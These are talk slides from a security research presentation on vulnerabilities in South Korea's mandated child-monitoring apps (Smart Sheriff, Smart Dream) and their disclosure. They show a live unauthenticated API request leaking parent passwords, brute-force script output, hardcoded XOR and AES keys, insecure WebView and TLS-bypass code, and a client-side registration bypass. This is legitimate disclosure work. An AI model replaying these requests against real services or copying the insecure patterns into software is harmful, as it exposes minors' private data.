Smart Sheriff,
Smart Sheriff, Dumb Idea
Smart Sheriff, Dumb Idea

The wild west of government assisted parenting

presented by:

Abraham Aranguren - @7a_
Fabian Fäsler - @samuirai
A story about a Korean law…

- Some background information
- Case MOIBA: Smart Sheriff, Smart Dream
- Case mobile operators: KT, LGU, +SKT
- What now?

„In the end we hope you share our disbelieve“
Takeaways from this talk

• Insight into South Korean culture and politics

• Some basics in Android reversing

• Difficulties with the ethics of disclosing issues
Who are we?

Abraham Aranguren (@7a_) - blog.7-a.org
OWASP OWTF Project leader - owtf.org
abraham@cure53.de

Fabian Fäßler (@samuirai) - smrrd.de
Student at TU Berlin
fabian@cure53.de

Cure53 is led by handsome Mario Heiderich (@0x6D6172696F).
Bullshit free pentests, sometimes public 😞

https://cure53.de/#publications
Why did we do this?

OpenNet Korea brought this to Citizen Lab
http://opennetkorea.org/

Citizen Lab, Toronto
"Citizen Lab Summer Institute on Monitoring Internet Openness and Rights 2015“
http://citizenlab.org/

Open Technology Fund supported it
https://www.opentech.fund/
Once upon a time…

… in a country far far away.
South Korea – Smartphone Usage

% Total population

% 18-34 y/o population

... the country with the highest Smartphone usage on the planet!

South Korea – Child Protection Laws

Article 32, Section 7 of Korean Telecommunications Business Act
mobile network operators have to provide adult content filtering service for legal minors

Introduced 15.10.2014
South Korea – Child Protection Laws

**Article 32, Section 7 of Korean Telecommunications Business Act**

Mobile network operators have to provide adult content filtering service for legal minors

*Introduced 15.10.2014*

**Implementation Details Article 37, Section 8**

Notify children and parents about features of the blocking Monthly notification if the blocking means was deleted or had not been operated for more than 15 days

*Introduced 14.04.2015*
South Korea – Mandatory apps

Mandatory installation of a surveillance app when the phone is purchased for a teenager.
South Korea – Mandatory apps

**Mandatory installation** of a surveillance app when the phone is purchased for a teenager.

No opt-out.
South Korea – Mandatory apps

since May contractually obliged to provide means for blocking

apps have to be installed on juveniles’ phones

alert after 15 days

Photo: Lee Jin-man/Associated Press
Mobile Internet Business Association (MOIBA)

The Korean Communications Commission (KCC) gave MOIBA USD $2.7 million to create these mandatory apps.
MOIBA - Smart Sheriff / Smart Dream

MOIBA created 2 mobile apps

**Smart Sheriff**
(mandatory)

**Smart Dream**
(additional service)
Alternative Korean Child Protection Apps

• KT Corporation:  https://play.google.com/store/apps/details?id=com.kt.ollehkidsafe


Smart Sheriff: Parent vs. Child mode

- Operating mode chosen **on first usage**
- **Parent-Mode**: Smartphone usage management
- **Child-Mode**: For filtering and activity monitoring
Smart Sheriff: Block phone access

Parents can deny phone access for certain times for the child.
Smart Sheriff: Installed apps

See installed apps on child’s phone and deny or enable access to them.
Smart Sheriff: Websites

Manage/Block access to websites.

*Implemented in the app, but not usable by parent.*
Sensitive Data – Smart Sheriff (+others)

- Family Association (Parent - Child)
- Children‘s names, birthdays
- Installed apps and usage statistics (time browsing or playing games)
- Visited/Blocked URLs

Smart Dream

- Private SMS and KakaoTalk messages (!)
Round 1 – Setup Challenges
### Language Barrier

![Image of a Korean document with text](image)

**WTF DOES THIS?**

---

**Table:**

<table>
<thead>
<tr>
<th>일평균 이용시간</th>
<th>3시간 46.8분</th>
</tr>
</thead>
<tbody>
<tr>
<td>주 이용 시간대 (월/ 월말요일)</td>
<td>18시~24시 (2시간)</td>
</tr>
<tr>
<td>정보이용비중</td>
<td>웹 (98.94%), 인터넷 (1.06%)</td>
</tr>
<tr>
<td>정보별 주 이용시간대/ 카테고리</td>
<td>웹 (소셜, 콘텐츠) 사이트: 18시~24시</td>
</tr>
<tr>
<td>웹 카테고리별 이용시간</td>
<td>소셜, 콘텐츠 (1시간 59.4분) 게임 (1시간 4.2분) 동영상 (31.2분) 커뮤니케이션 (4.8분) 엔터테인먼트 (3.6분)</td>
</tr>
<tr>
<td>주 이용 요일</td>
<td>월 (7시간 15.0분), 화 (5시간 15.2분)</td>
</tr>
</tbody>
</table>

**Note:** The document appears to be in Korean and contains various sections, including usage times, categories, and other data. Without understanding Korean, the specific details are unclear.
Language Barrier

unpack, translate, repack with apktool

http://ibotpeaches.github.io/Apktool/
Language Barrier

unpack, translate, repack with apktool

http://ibotpeaches.github.io/Apktool/
Unfortunately ... strings.xml is not enough for a app because WebViews
Language Barrier ...

Google Translate
Debugging

Patching debug messages in smali code for logging

```java
private static final String TAG = "SAMU";
Log.i(TAG, result);
```
Round 1 – Shoot
RCE with insecure WebView

Accessing Java methods from JavaScript in Android 2.4 to 4.1

String url = "http://ssweb.moiba.or.kr/pushAlarm";
WebView webview = (WebView)findViewById(0x7f070000);
webview.getSettings().setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JavaScriptInterface(),
"SmartSheriff");
webview.postUrl(url, obj);

var String = window.jsinterface.getSomeString();
// window.jsinterface.getClass().forName('java.lang.Runtime')

https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
What is SSL?

String url = "http://ssweb.moiba.or.kr/pushAlarm";
WebView webview = (WebView)findViewById(0x7f070000);
webview.getSettings().setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JavaScriptInterface(), "SmartSheriff");
webview.postUrl(url, obj);
What is SSL?

```java
String url = "http://ssweb.moiba.or.kr/pushAlarm";
WebView webview = (WebView)findViewById(0x7f070000);
webview.getSettings().setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JavaScriptInterface(), "SmartSheriff");
webview.postUrl(url, obj);
```
Fast forward to the fix...

Smart Sheriff – SSL v2.0
Smart Sheriff – How to SSL like a pro

SMS-01-003 No use of any SSL/TLS-based transport security FIXED?

https://api.moiba.or.kr/MessageRequest_New

They switched to SSL for real O.o ?
public final void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError)
{
    paramSslErrorHandler.proceed();
}

implements HostnameVerifier {
public final boolean verify(String paramString, SSLSession paramSSLSession)
{
    return true;
}
moibagtwigsystemsfightinghhhhkkkkkok

- But SSL is not necessary, when you do your own crypto Layer...

"\[5Z\\WSVAB5\]"   

"05555215554"
moibagtwigsystemsfightinghhhhkkkkkok

"\5Z\WSVAB5\"

"05555215554"

XOR Key: m\oibagtw\igsyste\msfight\inghhhk\kkkok
Fast forward to the fixes...

Smart Sheriff – Crypto v2.0
moiba1cybar8smart4sheriff4securi

"+yld3N...aVIjqteA==",            { "action":"CLT_MBR_GETCL...
"MOBILE":"3ZP[QVDC6]UK@JC",
"DEVICE_ID: ... }

- MOIBA added more crypto...
moiba1cybar8smart4sheriff4securi

"+yld3N...aVljqteA=="

{  "action":"CLT_MBR_GETCL...
  "MOBILE":"3ZP[QVDC6]UK@JC",
  "DEVICE_ID: ...
} 

- Useless AES layer with static key
API Design

Request

```
request=":yl3N...aVIjqtA=="
```

```
{  
  "action": "CLT_MBR_GETCL...
  "MOBILE": "5Z\WSVAB5",
  "DEVICE_ID": ...
}
```

Response

```
{  
  "SYNC_APP_LIST":  
  "BLCK.ACT_DIVN": [], ...
  "CHILD_BIR_YMD": "20050105",
  "CHILD_BLK.GRADE": "2", "PASS
  "WORD": "****", "DIVN": "CHILD"
}
```

"05555215554"
STORY TIME!
bully
bully

thanks korea
Smart Sheriff – Bully API™

child: 055-5353

API
Smart Sheriff – Bully API

child: 055-5353

parent: 055-7234

API
Smart Sheriff – Bully API

child: 055-5353

parent: 055-1234

API
Smart Sheriff – Bully API

![Diagram of a child and parent with phone numbers and symbols](image)

API
Smart Sheriff – Bully API

API response with the password (XORed)
root@redstar-os $ curl -v -s 'http://api.moiba.or.kr/MessageRequest '
--data '{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"XXX", "MOBILE":"\5Z\WSVAA5[", "DEVICE_ID":"unknown" }'

> POST /MessageRequest HTTP/1.1
> Host: api.moiba.or.kr
> User-Agent: curl/7.48.0
> Accept: */*
> Content-Length: 141
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 141 out of 141 bytes
< HTTP/1.1 200 OK
< Date: Sun, 15 Oct 2015 17:05:20 GMT
< Server: Apache/2.0.65 (Unix) DAV/2 mod_jk/1.2.37
< Content-Length: 242
< Content-Type: text/plain; charset=euc-kr

{"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLK_GRADE":"","PASSWORD":"\2\]","PARENT_MOBILE":"\5Z\WSVAA5[ ","REGISTRATION_ID":"","DIVN":"PARENT"}
Smart Sheriff – Bully API

```
root@redstar-os $ python sheriff_raid.py

CHILD : 010XXXXXXXXX - pw: 0879  -> parent number: 010XXXXXXXXX
CHILD : 010XXXXXXXXX - pw: 8493  -> parent number: 010XXXXXXXXX
PARENT : 010XXXXXXXXX - pw: 8493
PARENT : 010XXXXXXXXX - pw: 0878
CHILD : 010XXXXXXXXX - pw: 0878  -> parent number: 010XXXXXXXXX
PARENT : 010XXXXXXXXX - pw: 2580
CHILD : 010XXXXXXXXX - pw: 2580  -> parent number: 010XXXXXXXXX
CHILD : 010XXXXXXXXX - pw: 2580  -> parent number: 010XXXXXXXXX
PARENT : 010XXXXXXXXX - pw: 5912
CHILD : 010XXXXXXXXX - pw: 1004  -> parent number: 010XXXXXXXXX
PARENT : 010XXXXXXXXX - pw: 1004
```

Parent passwords. 4 digit strong!

Smart sheriff has so many users, you can find valid phone numbers by just trying random numbers.
Brute-force numbers - Skip to 2:54
No authentication for the child application. There is a DEVICE_ID as session cookie, but most API endpoints simply accept the phone number to perform updates.
Fast forward to the fixes...

Smart Sheriff – Bully API v2.0
Smart Sheriff – Bully API

Guess what happened using a different User Agent :D
No authentication for the child application.
You can still fake the phone usage (kid installs p0rn app)
• SMS-01-008 Reflected XSS
  on ssweb.moiba.or.kr via CHILD_MOBILE FIXED!

But...

• SMS-02-008 Reflected XSS
  on ssweb.moiba.or.kr via H_TYPE ???!
You really screwed up when even Google indexes your vulns!
Why not? – Tomcat 6.0.29 (released 2009)
function shouldOverrideUrlLoading()...

if (s.startsWith("market://") || s.startsWith("tel:"))
    || s.startsWith("http") && !s.contains("ssweb.moiba.or.kr")

<table>
<thead>
<tr>
<th>blocked</th>
<th>allowed :D</th>
</tr>
</thead>
</table>
Insecure Storage on SD card

Object obj = new File((new StringBuilder())
    .append(Environment.getDataDirectory());
obj.append("/data/com.gt101.cleanwave/databases/SmartSheriff.db");
Object obj1 = new File(Environment.getExternalStorageDirectory(), ");
Unlicensed Fonts

“This font is made with the trial version of FontCreator. You may not use this font for commercial purposes.”
Test and dev. snippets everywhere

Test URLs: [http://api.moiba.or.kr/test/](http://api.moiba.or.kr/test/)
[http://api.moiba.or.kr/aaa/](http://api.moiba.or.kr/aaa/)
[http://api.moiba.or.kr/aaa2/](http://api.moiba.or.kr/aaa2/)
Test and dev. snippets everywhere

http://ssadm.moiba.or.kr/

<li><a href='/index'>관리자메인</a></li>
<li><a href='/subMain'>서브메인메인</a></li>
<li><a href='/harm/app/list'>유해정보관리</a></li>
<ul>
 <li><a href='/harm/app/appList'>앱관리</a></li>
 <li><a href='/harm/site/list'>사이트관리</a></li>
 <li><a href='/harm/accept/acceptList_app'>앱/사이트 접 관리</a></li>
</ul>
<li><a href='/member/admin/memberAdm'>가입자관리</a></li>
<li><a href='/minwon/minwonList'>민원관리</a></li>
<li><a href='/home/report/list'>홈이지</a></li>
</ul>
<p><a href='/html/filelist.html'>디자인</a><br/>
<a href='/minwon/minwonPushTest'>Push TEST</a><br/>
<a href='/minwon/livePushTest'>Live Push TEST</a><br/>
<a href='minwon/logPushTest'>log Push Test</a></p>
Big pile of 🧦

- XSS
- Leaking personal data over the API
- No authentication
- No Transport Security
- Even a SQL injection inside their mobile app for the .db
- ....

Seriously:
https://cure53.de/pentest-report_smartsheriff.pdf
Citizen Lab publishes the report

Are the Kids Alright? Digital Risks to Minors from South Korea’s Smart Sheriff Application

September 20, 2015
Tagged: Asia Chats, Smart Sheriff, South Korea
Categories: Collin Anderson, John Scott-Railton, Masashi Crete-Nishihata, Reports and Briefings, Ron Deibert, Sarah McKune

Authors: Collin Anderson (Independent Researcher), Masashi Crete-Nishihata (Citizen Lab), Chris Dehghanpoor (Lookout Inc.), Ron Deibert (Citizen Lab), Sarah McKune (Citizen Lab), Davi Ottenheimer (flyingpenguin), and John Scott-Railton (Citizen Lab)


Read the press release.
한국어 요약본은 여기서 보실 수 있습니다.
Download PDF version.

Introduction

While South Korea is one of the most highly connected societies in Asia, its government has established an aggressive regulatory regime to control digital content deemed illegal, a national security threat, or harmful to minors.

In April 2015, a mandate came into effect requiring South Korean telecommunications operators to provide the means to block harmful content on minors’ mobile phones. The mandate, introduced by South Korea’s telecommunications regulatory body, the Korean Communications Commission (KCC), also requires that a minor’s parent be notified if the content filtering is disabled. While the possibility of limiting or monitoring minors’ mobile phone communications is encouraged in some jurisdictions, and
안녕하세요, 스마트보안관입니다.
스마트보안관 1.7.6 버전이 업데이트 되었습니다.
구글플레이 및 이동사 마켓을 통해 8/10일까지 반드시 업데이트 해 주시기 바랍니다,
8/11일 이후 이전 버전은 사용하실 수 없습니다.
이는 스마트보안관의 보안을 강화하기 위해
조직하는 사항으로 이용자분들의 높은 이해를 부탁드립니다.
앞으로도 스마트보안관은 지속적으로 보안을 강화하여
보다 안전하게 서비스를 이용하실 수 있도록 노력하겠습니다.

<업데이트 내용>
- SSL 적용으로 보안 강화(\text{http} \rightarrow \text{https})

이번 업데이트에 대한 자세한 문의사항은 고객센터(1566-8274)로 전화 주시면
진절히 안내해 드리도록 하겠습니다.
감사합니다.
MOIBA Press Release 2

[20150821] 스마트보안관 보안 강화 관련 공지 알림

안녕하세요, 스마트보안관님.
먼저 스마트보안관을 이용해 주셔서 감사합니다.

지난 8월 6일 스마트보안관이 1.7.6 버전으로 업데이트 되면서
보안 강화를 위해 8/11일 이후 기존(1.7.5 이하) 버전의 경우 사용하실 수 없다는
내용을 홈페이지 및 메시지(Push) 전송을 통해 알려드린 바 있습니다.

다만, 이러한 내용을 아직까지 확인하지 못한 분들이 계십니다.
그로 인해 이전 버전 사용자들의 경우 자녀분의 이용시간 자녀 등의
조직을 취해 놓으신 경우 자녀의 본 사용 자체가 불가능해지는
현상이 발생하였습니다.

현재는 조직을 취해 더 이상 문제가 발생하지 않게 되었으나,
먹이지 못한 상황이 발생하여 이용에 불편을 드린 점에 대해
대단히 죄송하다는 말씀을 드립니다.

단, 아직까지 스마트보안관을 업데이트 하지 않은 사용자분들께서는
스마트보안관 보안 강화를 위해 마켓에 접수하시면서
최신 버전으로 반드시 업데이트 하여 주시기 바랍니다.

특히 자녀가 스마트보안관을 이용하고 있는 사용자분들께서는
자녀분에 설치된 스마트보안관 업데이트를 통해
업데이트 하여 주시기 바랍니다.

그 외의 중요한 사항이나 상세한 설명을 원하시는 분들은
1566-8274로 연락 주시면 언제든지 드리도록 하겠습니다.

다시 한 번 이용에 불편을 드리게 된 점에 대해 죄송하다는 말씀을 드리며,
앞으로도 스마트보안관은 지속적으로 보안을 강화하고
보다 안전하게 서비스를 이용하실 수 있도록 노력하겠습니다.
감사합니다.

deprecating old version because of security

sorry for the inconvenience

please update!!

we continue to strengthen the security
Some media attention

... but reaction was a bit underwhelming
“Thanks for the free pentest!”

It kinda backfired...
Did we just help improving surveillance software?
Citizen Lab publishes updated report

The Kids are Still at Risk: Update to Citizen Lab’s “Are the Kids Alright?” Smart Sheriff report

November 1, 2015
Tagged: Smart Sheriff, South Korea
Categories: Reports and Briefings

Summary

A second audit of the Smart Sheriff application reveals that there are numerous unresolved security vulnerabilities that put minor children and parental users of the application at serious risk.

MOIBA, the Korean industry consortium responsible for the Smart Sheriff application, has been slow to respond to the issues raised (of which it was notified more than 90 days ago); the fixes that have been applied do not adequately or effectively address the issues, especially for users; and MOIBA has not communicated transparently to the public about Smart Sheriff’s known risks.

The Citizen Lab recommends immediate withdrawal of Smart Sheriff from the public market, and that existing users discontinue their use of the application.

NOTE: On October 31, 2015, Citizen Lab learned that MOIBA removed the Smart Sheriff application from the Google Play Store. However, the Smart Sheriff API remains available and therefore constitutes a continued security risk to users. Additionally, MOIBA appears to have republished Smart Sheriff under another name (사이버안전존 – translated as “Cyber Safety Zone”) on the Google Play store. A brief inspection of version 1.7.8 indicates that, beyond cosmetic changes, the application is functionally the same as Smart Sheriff 1.7.7 – which we analyze here. This new program inherits all the same security concerns as the original application.
MOIBA reacts and pulls the app
News about the app removal
Time to celebrate!
But something is shady...

NOTE: On October 31, 2015, Citizen Lab learned that MOIBA removed the Smart Sheriff application from the Google Play Store. However, the Smart Sheriff API remains available and therefore constitutes a continued security risk to users. Additionally, MOIBA appears to have republished Smart Sheriff under another name (사이버안심존 – translated as “Cyber Safety Zone”) on the Google Play store. A brief inspection of version 1.7.8 indicates that, beyond cosmetic changes, the application is functionally the same as Smart Sheriff 1.7.7 – which we analyze here. This new program inherits all the same security concerns as the original application.

MOIBA, the Korean industry consortium responsible for the Smart Sheriff application, has been slow to respond to the issues raised (of which it was notified more than 90 days ago); the fixes that have been applied do not adequately or effectively address the issues, especially for users; and MOIBA has not communicated transparently to the public about Smart Sheriff’s known risks.

The Citizen Lab recommends immediate withdrawal of Smart Sheriff from the public market, and that existing users discontinue their use of the application.

NOTE: On October 31, 2015, Citizen Lab learned that MOIBA removed the Smart Sheriff application from the Google Play Store. However, the Smart Sheriff API remains available and therefore constitutes a continued security risk to users. Additionally, MOIBA appears to have republished Smart Sheriff under another name (사이버안심존 – translated as “Cyber Safety Zone”) on the Google Play store. A brief inspection of version 1.7.8 indicates that beyond cosmetic changes, the application is functionally the same as Smart Sheriff 1.7.7 – which we analyze here. This new program inherits all the same security concerns as the original application.
Did we fail?
Find the difference!

스마트보안관
(Smart Sheriff)

사이버안심존
(Cyber Safety Zone)
The old MOIBA
The new MOIBA
Web Interface – Cyber Safety Zone

[Image of a web interface in Korean, showing features for child phone management and internet site management.]
Web Interface – Cyber Safety Zone
Smart Sheriff / Cyber Safety Zone

• MOIBA didn‘t deprecate the API
• MOIBA renamed the app
• MOIBA is trying to hide the issues

But what is up with Smart Dream?
The new MOIBA – Login for Parents

Smart Sheriff / Cyber Safety Zone

Smart Dream
Smart Dream Nightmare

- **Parent-Mode**: Check messages and searches containing dangerous words
- **Child-Mode**: Monitoring SMS/KakaoTalk and google searches. Installs as accessibility service
How do they read KakaoTalk?

• Very clever solution - request accessibility permissions
• Abusing functionality intended for text2speech, ...

Dream Smart assured service requires a set accessibility for reliable service.
Web Interface – Smart Dream

Cyber harass suspected inquiry letter
Views Keywords child worries
Add Child

Cyber verbal abuse is suspected character list,
■ character storage period is 30 days. However, the historical character cyber harass doubt confirming in the parent app can be held until cleared.

Select Child

Receive History: Total 0

No.
Pause detection
keyword
Results confirmed

There is no detection search.
Smart Dream Nightmare

Parent App monitoring SMS

Parent Web Backend

- 155-5521-**54
- Character information
  - 2016-05-11 00:08:44: teacher whispering 협박 to herself today?
  - 2016-05-11 00:07:13: 협박 (퇴장)

※ Suspicious letter to let you know my parents are preferable to judgment after checking the entire text content because extracting only a word that implies abusive, bullying, extortion, etc.

guess why the h1 is so big : )
Smart **Dream** Nightmare

XSS via SMS/KakaoTalk messages (no authentication)... and no SSL?
Register an account

Korean number needed. And wait for verification SMS...
Or simply change forms.auth_ok.value = "1"
Register an account

Fixed!?... you can still register via the App

Korean number needed. And wait for verification SMS... Or simply change forms.auth_ok.value = "1"
root@redstar-os $ python nightmare.py
### Messages from Child:
From: ".인터넷" (5)
1. [KakaoTalk] (violation/gang up): "투명성성인기회"
2. [KakaoTalk] (blackmail/money): "깡패?"
3. [KakaoTalk] (violation/made): "한!!국교!!"
4. [KakaoTalk] (blackmail/vertisement): "보안이야기개방성사행정?"
5. [KakaoTalk] (threat/kill): "성인성인은상한해킹비밀한국성인강남스타일모바일"

From: ".사이버역할edio" (2)
1. [KakaoTalk] (rant/crazy girl acting as child): "투명♥"
2. [KakaoTalk] (abuse/fuck it): "비밀사 이버기? 밀번역 보 화정부 기 회개인 성 인 어린이정..."

From: "010XXXXXXXX" (3)
1. [SMS] (harass/desperate): "어린이강남스?타일인터넷"
2. [SMS] (harass/): "깡패구글상한"
3. [SMS] (harass/desperate): "부패교육감?"

From: ".사이버투edio" (3)
1. [KakaoTalk] (threat/kill): "해킹 평등"
2. [KakaoTalk] (harass/desperate): "자기 검열보?"
3. [KakaoTalk] (violation/gang up): "강남스타일!!!"
(2015_10_smartsherrif)samuirai@redstar-os ~/pentest/2015_10_smartsherrif » python smart_nightmare.py
The Most Offensive Slide :O

The 1086 "harmful" words that are monitored by smart dream
The Most Offensive Slide :O

Example words:

- divorce, single parent,
- remarriage, adoption,
- earn money, *multiculturalism*,
- *menstruation*, breast, stress,
- I hate ..., girlfriend, boyfriend,
- break up, dating, lie, *beer*,
- person/friend/guy/girl I like,
- r-rated, sex, discrimination,
- *black history*, going to school,
- borrow, *sarcasm*, fanboy,
- gangster, disability,
- reporting to police, ...

The 1086 "harmful" words that are monitored by smart dream
<table>
<thead>
<tr>
<th>Issue</th>
<th>Fix Plan</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lack of Authentication</td>
<td>Important parameters will be encrypted with AES256</td>
</tr>
<tr>
<td>Hardcoded API key</td>
<td>1. Put API key into NDK binaries</td>
</tr>
<tr>
<td></td>
<td>2. Each user gets their own key</td>
</tr>
<tr>
<td>XSS with messages</td>
<td>Before sending SMS message, escape and replace special chars</td>
</tr>
</tbody>
</table>
Another big pile of

- XSS
- No SSL
- Lack of Authentication and Authorization
- Accessing stored messages and searches
- ...
But what about the other apps?
But what about the other apps?
We love you too, Plantynet 😍

“Damn You Hacker what is your benefit when decompile this app please dont disturb us”
... guess why they don’t want people looking

<table>
<thead>
<tr>
<th>Name</th>
<th>Größe</th>
<th>Änderungsdatum</th>
</tr>
</thead>
<tbody>
<tr>
<td>[übergeordnetes Verzeichnis]</td>
<td>6.7 GB</td>
<td>19.10.16, 18:39:00</td>
</tr>
<tr>
<td>cleanlg.dmp.gz_20161020</td>
<td>6.7 GB</td>
<td>20.10.16, 18:40:00</td>
</tr>
<tr>
<td>cleanlg.dmp.gz_20161021</td>
<td>6.7 GB</td>
<td>21.10.16, 18:45:00</td>
</tr>
<tr>
<td>cleanlg.dmp.gz_20161022</td>
<td>6.7 GB</td>
<td>22.10.16, 18:41:00</td>
</tr>
<tr>
<td>cleanlg.dmp.gz_20161023</td>
<td>6.7 GB</td>
<td>23.10.16, 18:41:00</td>
</tr>
<tr>
<td>cleanlg.dmp.gz_20161024</td>
<td>6.8 GB</td>
<td>23.10.16, 18:41:00</td>
</tr>
<tr>
<td>del_backup.sh</td>
<td>274 B</td>
<td>09.03.14, 00:00:00</td>
</tr>
</tbody>
</table>
SKTelecom
SKT Corporation

- Encrypted/obfuscated application implemented via native library 😞
Defeat Obfuscation – Lame Strategy

- Encrypted/obfuscated application implemented via native library
Jeff from CitizenLab reverse engineered the binary

- AES key unwrapping (RFC 3394)
- PBKDF2 HMAC
- AES ECB
SKTelecom - Issues

- No HTTPS
- XSS
A note for reflexion

• Take a step back
• Imagine these apps were magically 100% secure
• Would you trust any company or government…
• … to have a database with all that information?
  • Phone usage statistics (times, apps)
  • SMS/IM Messages
  • Knowing family associations
  • Names and birthdays
What is happening next?

- The Korean government proposed a new bill to make opt-out possible

- OpenNet Korea submitted a constitutional complaint about the law
  → final decision in 2-3 years

- Should there be regulations for parental/child-protection apps?
  → eg. no cloud service, only local
Reports


Some News Articles


Questions/Comments/Discussion

Abraham Aranguren (@7a_) - abraham@cure53.de

Fabian Fäßler (@samuirai) - fabian@cure53.de

Reports: https://cure53.de/#publications